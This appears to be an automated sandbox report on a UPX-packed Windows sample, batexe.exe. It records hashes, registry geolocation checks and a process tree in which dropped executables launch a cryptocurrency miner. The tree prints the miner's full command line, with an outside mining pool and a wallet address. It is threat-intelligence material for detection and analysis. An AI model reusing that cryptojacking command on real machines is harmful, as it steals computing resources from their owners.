73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
300s
max time network
305s
platform
windows10-2004_x64
resource
win10v2004-20231215-ja
resource tags

arch:x64arch:x86image:win10v2004-20231215-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
17/02/2024, 17:20

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
1312	b2e.exe
1868	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
1868	cpuminer-sse2.exe
1868	cpuminer-sse2.exe
1868	cpuminer-sse2.exe
1868	cpuminer-sse2.exe
1868	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/2816-13-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2816 wrote to memory of 1312	2816	batexe.exe	81
PID 2816 wrote to memory of 1312	2816	batexe.exe	81
PID 2816 wrote to memory of 1312	2816	batexe.exe	81
PID 1312 wrote to memory of 2740	1312	b2e.exe	82
PID 1312 wrote to memory of 2740	1312	b2e.exe	82
PID 1312 wrote to memory of 2740	1312	b2e.exe	82
PID 2740 wrote to memory of 1868	2740	cmd.exe	85
PID 2740 wrote to memory of 1868	2740	cmd.exe	85

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2816
- C:\Users\Admin\AppData\Local\Temp\F107.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\F107.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\F107.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:1312
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FF6E.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2740
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:1868

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\F107.tmp\b2e.exe

Filesize
4.4MB

MD5
6817714e04354a199e62ac01b6e06f03

SHA1
66550d231ce6fd69a1c26ba144c42a848b1bc4f3

SHA256
42ff8a648e686c200a1e06670dcde1f6a9cfc68502b22e926eb8c28cddd49e48

SHA512
22047de875bb689deeede284a092c6fc23de6d1733413c5ca0ac25503b41c86c2374d5af5a9778620fe9b49d75ad39549355f273095bab65981213f49f1e2e53

Download Submit
C:\Users\Admin\AppData\Local\Temp\F107.tmp\b2e.exe

Filesize
732KB

MD5
fc9e503e7d23de2f20dbb720e2cb569e

SHA1
fa832bbe7c7c6551e000d6dc8c691bf74bfd258e

SHA256
ffb9338167868f89eb6d1103d10875f26135f67b9050083f7f4540bbc4222c5b

SHA512
038bebba9b3457074afd2494ff943dbde5f23a16c154708567889fe298bba75c861d05ae2fcc67ee93a220eaff248bdc33c112f95ee49e7432cee727c68a1128

Download Submit
C:\Users\Admin\AppData\Local\Temp\F107.tmp\b2e.exe

Filesize
636KB

MD5
ebaa2839b07f6ef0166370829c573004

SHA1
09ed0a041a5886b55fdf5d7f57b3043f17f80059

SHA256
10d90e51db13b72be9df1c3dcb55b81440596f504ced103114a945e892c2eb36

SHA512
73dd2cbdde4c9216992cfeb850640961ee3c005b7b7a8505855749d28a2fe5dd38dfb0784df0a2be3eeaa20dfa32be473b8375740d08b3ce444a1839ca15806d

Download Submit
C:\Users\Admin\AppData\Local\Temp\FF6E.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
351KB

MD5
a108437fe5279b9f82e04597e6aba518

SHA1
2e72a69a7407232855dfb92a28bbd0179cb7fcc7

SHA256
ea157172011c80bd8454a3c1de2671058f708ec16668a297b012baac5a7cf018

SHA512
7c88a29aa938184a32bb642e7986bfce2eb1c2a3396cbf1b04c183c8e149bfe9ef42faa58b10446fda5ed5bc7982f00ee9ffab4b2700ddc80a0f70b37fa634e1

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
424KB

MD5
adf0164ed2aad2043e27e27a6056dc90

SHA1
1b7ff191ce1147564e5983b26e6a57fef76c8f63

SHA256
30fe6ef8fb58c6e19534b60a3f5b130a9a738bbf30c5d416f7d44b4cc6c49343

SHA512
b2bd4d9fa6981fe42f1afa7b16945e5b497132da99aa691d48628ca99f5fdc4f93ebf86d8d0d357c53047e99ece3e578079dc26b2510d721aed59e1ad716c414

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
611KB

MD5
a6862fea3de25c8d9254fbb8a1f344bc

SHA1
098545fff1bb34d1ecaa8f30ec6c30a8a2b5bbe6

SHA256
e2ed0759eed047d184a7e8208a682b4c4e294059d5d419bf3a8e5503cc81cdb3

SHA512
137b720847b6e4ab055fe7a7e27bb400cce5649e0ba802e35f400a1d04307cd64ea426968ac77545927197d9bf707398f43c68fca6e349cc7e8bb89181b9959b

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
508KB

MD5
9c717295b9a6fc39f552155ff0ac2a33

SHA1
5ef1f7cab6655ac9cc0df70a16acc38df6e036f1

SHA256
123559b1561a1caec416fb1f9c28364b2020f962b579c92bfa7faba12e7fdf0c

SHA512
42b52a051cb6ade9839d39c3308873a467f2d39b532ebfad1588123e0cc5bf3065a720013db9b9ffe7c9fb61fc9a2fc11648a8fc3a9c3bddb57845bc90d2d219

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
495KB

MD5
7a9ef39ceff563eecff2f8e594546028

SHA1
d8d4b448dec9562e0f188fbaf361b69dfb03b7a6

SHA256
ffe2455e4c1b824186c840ba04099b4c928e2b7787d952face4923cf98ac582b

SHA512
374b2e3a3851af0adbef42d2f77b93c0d269733c4bfe2309a8cf487d083c9e865bc29d3c7718f40c9b741293a83b1a0ddaa75bb9a6c562bf5cc730b33e28705a

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
502KB

MD5
0b7d52f4e77dcd9211a762d1f8f2882f

SHA1
5c6df863ab86376c756e1ca7ad0020084c5a9f00

SHA256
e7893b2051589c48f843cb4c61d0ac3327cb3d3d739e95fa0d10a04932f1017c

SHA512
d3fc8344390800ec819bbdac02a48646861be69d952f9f2c3b8703dd671518f1aad1cfdeed3e01fa021507f9dffbec067e3945adb75d04cb54c60e751dc23579

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
668KB

MD5
f8b3e4b9fee7ecc7355212a31276d8e4

SHA1
b1ca6155bde634728a8b57206ec4102054f91a25

SHA256
abeae1bc0bc92c51ba348b7ccb95abb3b0175f59bbc28ae56b3012aaff220150

SHA512
e7858bfda78b528d4f7395e111d2e528f502f80a0b0a52e3456b0f505f78b3d7c1d5366f9a7edb8d45bd9edfef31dc79a8520e79c92ec24c51c11f9ace2cdc04

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
609KB

MD5
1f08c4aaaae1bae72608a4f0d873723c

SHA1
59d39774b94bbefcb71dedad36c3cb1f3b7f5582

SHA256
4799d3b817a2b22cc1100156d62d6e6a360280551b9ca80905a0c15ba00e869b

SHA512
98277eb1823adff76486cfc6f086a368e714630f16591eb20bc79d0543d17e592ab7cd01c819d3c0efc1d83b71c4af8f4e8cc601beeccfa317ad51521f4aed81

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
349KB

MD5
954188f6bcfdabff5b72be55d4b74fed

SHA1
c72415fe55fbe7aeecabb0b560a10bd392cbf524

SHA256
d0a1506f1cd253eeb658f68cb7f2bb8cd9437b55a7ca97a22b7bb1dbab022e62

SHA512
15b4351477c61d7fcbaf8eb6abe897b79b4dabecf2ca00c0a2b2e13b8f15a0937e9a169541891a564926e5073036f66bd136273e8dbc831c7ff7f745e575ada9

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
495KB

MD5
62cb680d25b27c32eaa55ea997581ac8

SHA1
722b3c95d8a17a763037b777c47f3c095cf0563b

SHA256
b8819d850451666f7667eaf830f894e668e38880a5ddd69141db96a68196c6f1

SHA512
bd09e58b9800f68a76d47fc80e0b4fae7bb791a468228b73627b8210182b94ff8ade2828b2228984855c5eaa168f9644da38fa1f43e012f2918032e95a6755e2

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/1312-53-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/1312-8-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/1868-48-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1868-59-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1868-46-0x00000000635D0000-0x0000000063668000-memory.dmp

Filesize
608KB

Download
memory/1868-43-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1868-47-0x00000000010E0000-0x0000000002995000-memory.dmp

Filesize
24.7MB

Download
memory/1868-44-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/1868-104-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1868-45-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/1868-64-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1868-69-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1868-74-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1868-79-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1868-84-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1868-89-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1868-99-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2816-13-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download